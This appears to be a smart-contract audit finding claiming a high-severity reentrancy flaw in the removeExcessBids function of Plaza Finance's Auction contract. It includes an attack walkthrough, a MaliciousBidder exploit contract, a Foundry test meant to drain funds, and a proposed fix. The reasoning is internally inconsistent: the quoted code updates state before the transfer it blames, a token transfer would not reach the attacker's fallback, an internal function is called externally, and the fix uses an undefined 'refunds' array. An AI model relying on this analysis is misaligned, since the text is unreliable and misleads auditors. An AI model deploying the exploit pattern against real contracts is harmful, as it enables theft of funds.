Urban Lemon Wolverine
High
Reentrancy in removeExcessBids
function call allows a malicious bidder to re-enter the contract and manipulate its state, leading to loss of funds
The removeExcessBids
function in the provided smart contract is vulnerable to a reentrancy attack. The vulnerability arises due to the external call IERC20(buyCouponToken).safeTransfer
made during the reduction of a bid. This call allows a malicious bidder to re-enter the contract and manipulate its state, leading to theft of funds or incorrect contract behavior.
The removeExcessBids
function iterates over bids and adjusts or removes them to maintain the total sell coupon amount within the defined limits. During this process, it refunds excess sell coupons to the bidder using an external call:
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L286
IERC20(buyCouponToken).safeTransfer(currentBid.bidder, amountToRemove);
This external call is made before updating the contract's internal state. A malicious bidder can exploit this by re-entering the contract and invoking state-altering functions, leading to inconsistencies or manipulation of bids. https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L264-L290
if (amountToRemove >= sellCouponAmount) {
// Subtract the sellAmount from amountToRemove
amountToRemove -= sellCouponAmount;
// Remove the bid
_removeBid(currentIndex);
// Move to the previous bid (higher price)
currentIndex = prevIndex;
} else {
// Calculate the proportion of sellAmount being removed
uint256 proportion = (amountToRemove * 1e18) / sellCouponAmount;
// Reduce the current bid's amounts
currentBid.sellCouponAmount = sellCouponAmount - amountToRemove;
currentCouponAmount -= amountToRemove;
uint256 reserveReduction = ((currentBid.buyReserveAmount * proportion) / 1e18);
currentBid.buyReserveAmount = currentBid.buyReserveAmount - reserveReduction;
totalSellReserveAmount -= reserveReduction;
// Refund the proportional sellAmount
IERC20(buyCouponToken).safeTransfer(currentBid.bidder, amountToRemove);
amountToRemove = 0;
emit BidReduced(currentIndex, currentBid.bidder, currentBid.buyReserveAmount, currentBid.sellCouponAmount);
}
No response
No response
The _removeBid
function in the Auction
contract contains a reentrancy vulnerability. This vulnerability arises because the function makes an external call to transfer tokens before updating the state variables. An attacker could exploit this by re-entering the function through the external call and manipulating the state, leading to loss of funds.
-
Initial state: Assume the auction has several bids, and the
currentCouponAmount
is 10,000 tokens. ThetotalSellReserveAmount
is 5,000 tokens. ThelowestBidIndex
points to the lowest bid in the linked list. -
Attacker's bid: The attacker places a bid of 1,000 tokens (
sellCouponAmount
) with abuyReserveAmount
of 500 tokens. This bid is added to the auction, and thecurrentCouponAmount
becomes 11,000 tokens, andtotalSellReserveAmount
becomes 5,500 tokens. -
Triggering
removeExcessBids
: TheremoveExcessBids
function is called because the currentCouponAmount exceeds thetotalBuyCouponAmount
. The function identifies the attacker's bid as an excess bid and calls_removeBid
to remove it.
4.Reentrancy Attack:
During the execution of _removeBid
, the function calls IERC20(buyCouponToken).safeTransfer
to refund the attacker's sellCouponAmount
.
The attacker has a malicious contract that re-enters the removeExcessBids
function during the external call.
The re-entered removeExcessBids
function again identifies the attacker's bid as an excess bid and calls _removeBid
again.
This process repeats, allowing the attacker to drain the contract by repeatedly triggering the refund mechanism.
With example:
- Initial call: The attacker receives a refund of 1,000 tokens.
- Re-entrance: The attacker re-enters and receives another refund of 1,000 tokens.
- Repeated re-entrance: This process continues, allowing the attacker to drain the contract of all available tokens.
Malicious bidders can repeatedly re-enter the contract during the refund process, allowing them to drain funds.
The internal state (e.g., bid records, currentCouponAmount
) can be manipulated, leading to inconsistent or incorrect auction behavior.
Below is an example of a malicious bidder contract exploiting the vulnerability.
contract MaliciousBidder {
address target;
constructor(address _target) {
target = _target;
}
function attack() external {
// Place a malicious bid
// Assuming necessary ERC20 tokens are already approved
TargetContract(target).bid(100, 50);
}
fallback() external payable {
// Re-enter the contract
TargetContract(target).removeExcessBids();
}
}
Here is a test that demonstrates the reentrancy attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "path_to/TargetContract.sol";
import "path_to/MaliciousBidder.sol";
contract ReentrancyTest is Test {
TargetContract target;
MaliciousBidder attacker;
function setUp() public {
target = new TargetContract();
attacker = new MaliciousBidder(address(target));
// Setup tokens and approvals
IERC20(token).approve(address(target), type(uint256).max);
}
function testReentrancy() public {
// Place a legitimate bid first
target.bid(100, 50);
// Execute the attack
attacker.attack();
// Verify the impact
assertEq(target.currentCouponAmount(), 0, "Coupons were not drained");
assertGt(attacker.balance(), 0, "Attack failed");
}
}
- Ensure that all state updates are completed before making any external calls.
- Use a reentrancy guard (e.g., OpenZeppelin’s ReentrancyGuard) to prevent re-entrant calls.
function removeExcessBids() internal nonReentrant {
if (currentCouponAmount <= totalBuyCouponAmount) {
return;
}
uint256 amountToRemove = currentCouponAmount - totalBuyCouponAmount;
uint256 currentIndex = lowestBidIndex;
while (currentIndex != 0 && amountToRemove != 0) {
Bid storage currentBid = bids[currentIndex];
uint256 sellCouponAmount = currentBid.sellCouponAmount;
uint256 prevIndex = currentBid.prevBidIndex;
if (amountToRemove >= sellCouponAmount) {
amountToRemove -= sellCouponAmount;
_removeBid(currentIndex);
currentIndex = prevIndex;
} else {
uint256 proportion = (amountToRemove * 1e18) / sellCouponAmount;
currentBid.sellCouponAmount -= amountToRemove;
currentCouponAmount -= amountToRemove;
uint256 reserveReduction = ((currentBid.buyReserveAmount * proportion) / 1e18);
currentBid.buyReserveAmount -= reserveReduction;
totalSellReserveAmount -= reserveReduction;
amountToRemove = 0;
}
}
// Perform all refunds after state updates
for (uint256 i = 0; i < refunds.length; i++) {
IERC20(buyCouponToken).safeTransfer(refunds[i].bidder, refunds[i].amount);
}
}